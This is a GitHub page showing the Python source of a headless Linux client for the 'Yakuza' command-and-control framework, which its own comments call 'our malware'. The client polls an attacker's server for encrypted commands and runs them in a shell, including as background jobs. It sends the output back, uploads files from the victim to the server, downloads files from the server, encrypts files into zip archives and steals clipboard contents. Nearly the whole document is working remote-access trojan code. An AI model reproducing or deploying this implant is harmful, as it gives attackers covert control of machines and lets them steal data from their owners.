-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlinux_client_headless.py
358 lines (283 loc) · 16.7 KB
/
linux_client_headless.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
#!/usr/bin/env python3
""" linux_client_headless.py
Yakuza Command & Control (C2) => Headless Linux(no GUI) client codes
Author: Davood Yahay(D. Yakuza)
Last Update: 10 oct 2024 - 16 mehr 1403
"""
from os import getenv, uname, chdir, path, getcwd
from requests import get, exceptions, post, put
from colorama import Fore
from time import time, sleep
from subprocess import run, PIPE, STDOUT, Popen
from pyzipper import AESZipFile, ZIP_LZMA, WZ_AES
from pyperclip import paste, PyperclipWindowsException
from multiprocessing import Process
from sys import exit
from encryption import cipher
# Settings Variables(Constants) Importing
from settings import (CMD_REQUEST, CWD_RESPONSE, RESPONSE, RESPONSE_KEY, FILE_REQUEST,
C2_SERVER, DELAY, PORT, PROXY, HEADERS, FILE_SEND, ZIP_PASSWORD, INCOMING)
# Print C2 Client Side Message for avoid complexing in test operation
print(Fore.LIGHTMAGENTA_EX + "\n[+]-------------C2 Client Side-------------[+]" + Fore.RESET)
def run_job(os_command, count):
""" This function will run an OS Command in the background and save output to the file.
It gets called by the start method of multiprocessing Process. """
with open(f"Job_{count}.txt", "w") as fHandle:
process = Popen(os_command, shell=True, stdout=fHandle, stderr=fHandle)
post_to_server(f"[+]-Client => Job_{count} has been started with pid: {process.pid}. "
f"\nUse the 'tasklist' command from windows to See all tasks with pid's. "
f"\nUse the 'taskkill /PID' command from windows to Kill a task with a pid number. "
f"\nOutput from job will be saved on the client in Job_{count}.txt \n")
def post_to_server(message: str, response_path=RESPONSE):
"""function to post data to C2 Server, accept message and response path
optional as arguments"""
try:
# Byte encoding message and then encrypt it before POSTING
message = cipher.encrypt(message.encode())
# Post encoded encrypted message to Server via response_path address
post(f"http://{C2_SERVER}:{PORT}{response_path}",
data={RESPONSE_KEY: message},
headers=HEADERS, proxies=PROXY)
except exceptions.RequestException:
return
# This Guard prevents our multiprocessing Process Calls from running our main codes
if __name__ == "__main__":
def get_filename(input_string):
"""this is a function that split string and returns third item and greater items after that.
by default, all forwarded slashes in the third item Changed to backslashes
this can be disabled, if replace set on False during call function. """
outputString = " ".join(input_string.split()[2:]).replace("\\", "/")
# If Actually mean filepath is entered correctly and then return it.
if outputString:
return outputString
# If not(else), return None and notify us on the server
else:
post_to_server(f"You mus enter filename after {outputString}. \n")
# the delay between re-connection attempts when inactive is set in settings.py
delay = DELAY
# Initialize that support background jobs like Clipboard stealing, Key logging and screenshots
clipCount = 0
# jobs list stores all background jobs
jobs = []
# jobCount used to count background jobs
jobCount = 0
# For Linux, get a unique identifying Information
client = (getenv("LOGNAME", "Unknown-Username") + "@" + uname().nodename + "@" + str(time()))
# UTF-8 encode the client first to be able be encrypting it, but then we need string, so decode it at the end
encryptedClient = cipher.encrypt(client.encode()).decode()
# clientPrint used for print only username@machine from client variable
clientPrint = "@".join(client.split("@")[0:2])
# Better use infinity loop when add control active sessions feature in Server Side
while True:
'''Try an http get requests to the C2 Server and retrieve command;
if failed, Keep Trying forever.'''
try:
response = get(f"http://{C2_SERVER}:{PORT}{CMD_REQUEST}{encryptedClient}", headers=HEADERS, proxies=PROXY)
# test print
print(client.split("@")[0], "=>", response.status_code, sep=" ")
# if we got 404 status codes, raise an exception to jump to except block
if response.status_code == 404:
raise exceptions.RequestException
except exceptions.RequestException:
# print(Fore.LIGHTRED_EX+"[-] C2 Server is down, try Reconnecting..."+Fore.RESET)
try:
sleep(delay)
continue # jump to the last iteration of the loop(while True:)
except KeyboardInterrupt:
print(Fore.LIGHTMAGENTA_EX + "\n[*] User has been Interrupted the C2 Client Side" + Fore.RESET)
exit()
except KeyboardInterrupt:
print(Fore.LIGHTMAGENTA_EX + "\n[*] User has been Interrupted the C2 Client Side" + Fore.RESET)
exit()
except Exception as e:
print(Fore.LIGHTYELLOW_EX + "\n[!] Unknown Error when Sending Request to C2 Server" + Fore.RESET)
print(f'Error Content: {e}')
exit()
# noinspection PyUnboundLocalVariable
# If we get a 204-Status Code from the Server, simply ReIterate the Loop with no sleep
if response.status_code == 204:
# test print
# print("[+] Server Command Command Executed and Result send to C2 Server.")
continue
# Retrieve the command from response and decode it
command = cipher.decrypt(response.content).decode()
# Check if the command is cd without any input path, change to home directory
if len(command) == 2 and command == "cd":
homeDirectory = path.expanduser("~")
chdir(homeDirectory)
post_to_server(homeDirectory, CWD_RESPONSE)
# if the Command is cd follow below blocks, first check cd with an input path
elif command.startswith("cd "):
# Splicing the command to remove the cd and the extract directory path
directory = command[3:]
# Try to Change Directory and handle the error if it occurs
try:
chdir(directory)
except FileNotFoundError:
post_to_server(f"No such directory {directory}.\n")
except NotADirectoryError:
post_to_server(f"{directory} is not a directory")
except PermissionError:
post_to_server(f"You have don't Permission to Access{directory}.\n")
except OSError:
post_to_server("There was a OS Error on client.\n")
# If not error, send the current directory to the server for using in Prompt
else:
post_to_server(getcwd(), CWD_RESPONSE)
# Run command using subprocess.run module
elif not command.startswith("client "):
# if the command doesn't end with '&', then run it on foreground;
# otherwise run the command in the Background
if not command.endswith(" &"):
# Run the command and get the output
commandOutput = run(command, shell=True, stdout=PIPE, stderr=STDOUT).stdout
# test print
# print("[+] OS-System command Executed on client Foreground
# and results send back to the C2 Server.")
# Send the output to the server, must be decoding it first because subprocess.run() return bytes
post_to_server(commandOutput.decode())
else:
# Right strip '&' from the command
command = command.rstrip(" &")
# Start a background job using a Multiprocessing process for the command that we entered
jobs.append(Process(target=run_job, args=(command, jobCount+1)))
jobs[jobCount].start()
# give run_job function time to post status to our c2 server, before a new command get request happens
sleep(1)
# Increment the counter to track our next job
jobCount += 1
# The client download FILENAME command allows us to transfer a file to the client from our C2 Server,
# Actually Client download from our C2 server, in below elif block Handle the download command
elif command.startswith("client download"):
# Split out the filepath to download, and replace \ with /
filepath = get_filename(command)
# If we got IndexError, start a new iteration of the wile loop
if filepath is None:
continue
# Return the basename(filename) from filepath
filename = path.basename(filepath)
# UTF-8 Encode the file to be able to be encrypting it, but then we must decode it after the encryption.
encryptedFilepath = cipher.encrypt(filepath.encode()).decode()
# Use and HTTP GET request to stream the requested file from c2 server
try:
with get(f"http://{C2_SERVER}:{PORT}{FILE_REQUEST}{encryptedFilepath}", stream=True,
headers=HEADERS, proxies=PROXY) as response:
# If the file was not found, open it up and write it out to disk, then notify us on the server
if response.status_code == 200:
# Open the file and write the contents of the response to it
with open(filename, "wb") as fileHandle:
# Decrypt the Response content and write the file out to the Disk, then Notify us on Server
fileHandle.write(cipher.decrypt(response.content))
# Notify us on the server that the file was downloaded
post_to_server(f"\n[+] Client: {filename} is now Written in {filepath} on {client}.\n")
# Exception Handling Common Errors maybe occurs
except FileNotFoundError:
# noinspection PyUnboundLocalVariable
post_to_server(f"{filepath} is not found on the {client}.\n")
except PermissionError:
post_to_server(f"You don't have permission to download {filepath} on the {client}.\n")
except OSError:
post_to_server(f"Unable to Access {filepath} on the {client}, OS Error.\n")
# The client upload FILENAME command allows us to transfer a file to the c2 server from our connected client,
# Actually Client can Upload a file to server
elif command.startswith("client upload"):
# Split out the filepath to download, and replace \ with /
filepath = get_filename(command)
# If we got IndexError, start a new iteration of the wile loop
if filepath is None:
continue
# Return the basename(filename) from filepath
filename = path.basename(filepath)
# UTF-8 Encode the file to be able to be encrypting it, but then we must decode it after the encryption.
encryptedFilename = cipher.encrypt(filename.encode()).decode()
# Read the file and use it as data argument for an HTTP PUT Request to our C2 Server
try:
with open(filepath, "rb") as fileHandle:
encryptedFile = cipher.encrypt(fileHandle.read())
put(f"http://{C2_SERVER}:{PORT}{FILE_SEND}/{encryptedFilename}", data=encryptedFile, stream=True,
headers=HEADERS, proxies=PROXY)
# Notify us on the server that the file was downloaded
post_to_server(f"[+] Client: {filename} is now Uploaded to {INCOMING}/{filename} on the {client}.\n")
# Exception Handling Common Errors maybe occurs
except FileNotFoundError:
post_to_server(f"{filepath} is not found on the {client}.\n")
except PermissionError:
post_to_server(f"You don't have permission to Upload {filepath} from the {client}.\n")
except OSError:
post_to_server(f"Unable to Access {filepath} on the {client}, OS Error.\n")
elif command.startswith("client zip"):
# Split out the filepath to download, and replace \ with /
filepath = get_filename(command)
# If we got IndexError, start a new iteration of the wile loop
if filepath is None:
continue
# Return the basename(filename) from filepath
filename = path.basename(filepath)
# ZIP file using AES Encryption and LZMA compression method
try:
# Make sure we are not trying to zip-encrypt directory and that the files are existed
if path.isdir(filepath):
post_to_server(f"{filepath} on {client} is a directory. only Files can be zip-encrypted. \n")
elif not path.isfile(filepath):
raise OSError
else:
with AESZipFile(f"{filepath}.zip", "w", compression=ZIP_LZMA, encryption=WZ_AES) as zipFile:
zipFile.setpassword(ZIP_PASSWORD)
zipFile.write(filepath, arcname=filename)
post_to_server(f"{filename}.zip is now Zipped and Encrypted in {filepath}.zip on the client. \n")
except OSError:
post_to_server(f"Unable to Access {filepath} on the {client}, OS Error.\n")
# the 'client unzip FILE' command allows us to Unzip-Decrypt files on the client
elif command.startswith("client unzip"):
# Split out the filepath to download, and replace \ with /
filepath = get_filename(command)
# If we got IndexError, start a new iteration of the wile loop
if filepath is None:
continue
# Return the basename(filename) from filepath
filename = path.basename(filepath)
# Unzip AES Encrypted file using pyzipper
try:
with AESZipFile(filepath) as zipFile:
zipFile.setpassword(ZIP_PASSWORD)
zipFile.extractall(path.dirname(filepath))
post_to_server(f"{filename} is now Unzipped and Decrypted in {filepath} on the client. \n")
# Handle Errors maybe Occurs
except FileNotFoundError:
post_to_server(f"{filepath} is not found on the {client}.\n")
except PermissionError:
post_to_server(f"You don't have permission to Unzip-Decrypt {filepath} on the {client}.\n")
except OSError:
post_to_server(f"Unable to Access {filepath} on the {client}, OS Error.\n")
# the client Kill Command shutdown our malware
elif command == "client kill":
exit()
# the 'client delay SECOND' command will Change delay time between Inactive Re-Connection attempts
elif command.startswith("client delay"):
try:
delay = float(command.split()[2])
# if delay under zero raise ValueError
if delay < 0:
raise ValueError
except (IndexError, ValueError):
post_to_server("You must Enter a Positive Number for Sleep Delay in Seconds.\n")
else:
post_to_server(f"{client} is now Configured for a {delay} Seconds delay when set inactive .\n")
# TODO: Implement 'client get clipboard' command using ImageShow.grabclipboard() from pillow module
# the 'client get clipboard' Command allows us to Grab the client's clipboard data and save it to disk
elif command == "client get clipboard":
# Use this variable to make clipboard filename is unique
clipCount += 1
# Grab the client's clipboard data and save it to disk
with open(f"clipboard_{clipCount}.txt", "w") as fileHandle:
try:
fileHandle.write(paste())
except PyperclipWindowsException:
post_to_server("the Windows Machine is currently Locked so Can't get Clipboard now. try again later... \n")
else:
post_to_server(f"[+]-Client => clipboard_{clipCount}.txt has been Written on the Client.\n"
f"[+] => Use client upload clipboard_{clipCount}.txt to get it on the C2 Server. \n")
# Else, the wrong input, actually not a Built-in Command or Shell Command or Client/Server Commands
else:
post_to_server("Wrong/Unknown Input!!! Not a Built-in Command or Shell Command. try again... \n")
print(Fore.LIGHTCYAN_EX + f"[+] Goodbye & Goodluck Ninja 🥷\n{client}" + Fore.RESET)